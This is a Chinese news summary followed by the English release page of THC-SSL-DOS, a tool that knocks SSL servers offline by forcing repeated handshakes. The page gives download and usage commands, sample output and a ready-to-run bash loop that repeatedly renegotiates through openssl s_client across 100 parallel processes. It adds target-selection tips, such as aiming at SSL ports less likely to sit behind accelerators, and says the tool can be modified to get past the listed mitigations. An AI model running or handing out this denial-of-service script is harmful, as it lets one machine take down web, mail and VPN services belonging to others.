德国黑客组织“The Hacker’s Choice”发布了THC SSL DOS, 利用SSL中的已知弱点,迅速消耗服务器资源,与传统DDoS工具不同的是,它不需要任何带宽,只需要一台执行单一攻击的电脑。 漏洞存在于协议的 renegotiation过程中,renegotiation被用于浏览器到服务器之间的验证。网站可以在不启用renegotiation进程的情况 下使用HTTPS,但研究人员指出很多网站仍然默认启用renegotiation。 攻击工具仅需要对加密密钥进行重新请求,就可以在服务器端和客户端创建高达1000并行连接,迅速消耗服务器资源,导致提供安全连接的网站被攻击下线。因此,SSL服务器在这种工具面前都面临重大威胁——包括Web服务器、电子邮件服务器等。甚至包括一些安全设备厂商的防火墙和SSL VPN也存在同样问题。 THC-SSL-DOS by The Hacker's Choice
2011-OCT-24 UPDATE: SSL-DOS released. Some organizations already found out about this release a while ago and mistakenly identified it as an SSL-RENEGOTIATION BUG. This is not true. The tool can be modified to work without SSL-RENEGOTIATION by just establishing a new TCP connection for every new handshake.
2011-OCT-24: News Articles:http://thehackerschoice.wordpress.com/2011/10/24/thc-ssl-dos/http://www.theregister.co.uk/2011/10/24/ssl_dos_tool_released/http://www.zdnet.co.uk/news/security-threats/2011/10/25/hacking-tool-targets-ssl-vulnerability-40094270/http://www.wired.com/threatlevel/2011/10/ssl-dos/http://news.cnet.com/8301-1009_3-20125058-83/new-attack-tool-targets-web-servers-using-secure-connections/
2011-OCT-25 PRIVATE RELEASE: People are asking us about the private release that works against servers that do not support SSL renegotiation. We will not release it. Meanwhile the good news is that openssl can be used to perform the same attack It's not as elegant as the private thc-ssl-dos but works quite well indeed. 2 simple commands in bash: -----BASH SCRIPT BEGIN----- thc-ssl-dosit() { while :; do (while :; do echo R; done) | openssl s_client -connect 127.0.0.1:443 2>/dev/null; done } for x in `seq 1 100`; do thc-ssl-dosit & done -----BASH SCRIPT END------- ______________ ___ _________ \__ ___/ | \ \_ ___ \ | | / ~ \/ \ \/ | | \ Y /\ \____ |____| \___|_ / \______ / \/ \/ http://www.thc.org THC-SSL-DOS is a tool to verify the performance of SSL. Establishing a secure SSL connection requires 15x more processing power on the server than on the client.THC-SSL-DOS exploits this asymmetric property by overloading the server and knocking it off the Internet. This problem affects all SSL implementations today. The vendors are aware of this problem since 2003 and the topic has been widely discussed. This attack further exploits the SSL secure Renegotiation feature to trigger thousands of renegotiations via single TCP connection. Download: Windows binary: thc-ssl-dos-1.4-win-bin.zip Unix Source : thc-ssl-dos-1.4.tar.gz Use "./configure; make all install" to build. Usage: ./thc-ssl-dos 127.3.133.7 443 Handshakes 0 [0.00 h/s], 0 Conn, 0 Err Secure Renegotiation support: yes Handshakes 0 [0.00 h/s], 97 Conn, 0 Err Handshakes 68 [67.39 h/s], 97 Conn, 0 Err Handshakes 148 [79.91 h/s], 97 Conn, 0 Err Handshakes 228 [80.32 h/s], 100 Conn, 0 Err Handshakes 308 [80.62 h/s], 100 Conn, 0 Err Handshakes 390 [81.10 h/s], 100 Conn, 0 Err Handshakes 470 [80.24 h/s], 100 Conn, 0 Err Comparing flood DDoS vs. SSL-Exhaustion attack: A traditional flood DDoS attack cannot be mounted from a single DSL connection. This is because the bandwidth of a server is far superior to the bandwidth of a DSL connection: A DSL connection is not an equal opponent to challenge the bandwidth of a server. This is turned upside down for THC-SSL-DOS: The processing capacity for SSL handshakes is far superior at the client side: A laptop on a DSL connection can challenge a server on a 30Gbit link. Traditional DDoS attacks based on flooding are sub optimal: Servers are prepared to handle large amount of traffic and clients are constantly sending requests to the server even when not under attack. The SSL-handshake is only done at the beginning of a secure session and only if security is required. Servers are _not_ prepared to handle large amount of SSL Handshakes. The worst attack scenario is an SSL-Exhaustion attack mounted from thousands of clients (SSL-DDoS). Tips & Tricks for whitehats 1. The average server can do 300 handshakes per second. This would require 10-25% of your laptops CPU. 2. Use multiple hosts (SSL-DOS) if an SSL Accelerator is used. 3. Be smart in target acquisition: The HTTPS Port (443) is not always the best choice. Other SSL enabled ports are more unlikely to use an SSL Accelerator (like the POP3S, SMTPS, ... or the secure database port). Counter measurements: No real solutions exists. The following steps can mitigate (but not solve) the problem: 1. Disable SSL-Renegotiation 2. Invest into SSL Accelerator Either of these countermeasures can be circumventing by modifying THC-SSL-DOS. A better solution is desireable. Somebody should fix this. Yours sincerely, The Hackers Choioce http://www.thc.org |